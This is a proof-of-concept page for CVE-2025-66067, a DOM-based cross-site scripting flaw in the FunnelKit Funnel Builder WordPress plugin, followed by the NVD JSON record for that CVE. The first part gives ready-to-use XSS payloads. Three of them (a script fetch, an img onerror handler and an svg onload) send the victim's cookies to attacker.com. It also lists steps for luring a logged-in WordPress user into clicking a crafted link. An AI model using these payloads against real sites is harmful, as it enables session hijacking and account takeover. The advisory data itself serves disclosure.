CVE-2025-66067

<!-- CVE-2025-66067 PoC - DOM-Based XSS in Funnel Builder by FunnelKit --> <!-- Original Payload: --> <script>alert(document.domain)</script> <!-- Example attack URL: --> <!-- https://vulnerable-site.com/?funnel_param=<script>alert(document.cookie)</script> --> <!-- More sophisticated payload for cookie stealing: --> <script> fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie)) </script> <!-- Event handler based XSS: --> <img src=x onerror="fetch('https://attacker.com/log?data='+document.cookie)"> <!-- SVG-based payload: --> <svg/onload=fetch('https://attacker.com/exfil?c='+btoa(document.cookie))> <!-- Practical exploitation steps: --> <!-- 1. Attacker crafts malicious URL with XSS payload in affected parameter --> <!-- 2. Lures authenticated WordPress user to click the malicious link --> <!-- 3. User's browser executes injected JavaScript --> <!-- 4. Attacker's script steals session cookies or performs actions as the user -->

{"cve": {"id": "CVE-2025-66067", "sourceIdentifier": "[email protected]", "published": "2025-11-21T13:15:47.803", "lastModified": "2026-04-27T18:16:32.800", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Aman Funnel Builder by FunnelKit funnel-builder allows DOM-Based XSS.This issue affects Funnel Builder by FunnelKit: from n/a through <= 3.13.1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/funnel-builder/vulnerability/wordpress-funnel-builder-by-funnelkit-plugin-3-13-1-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}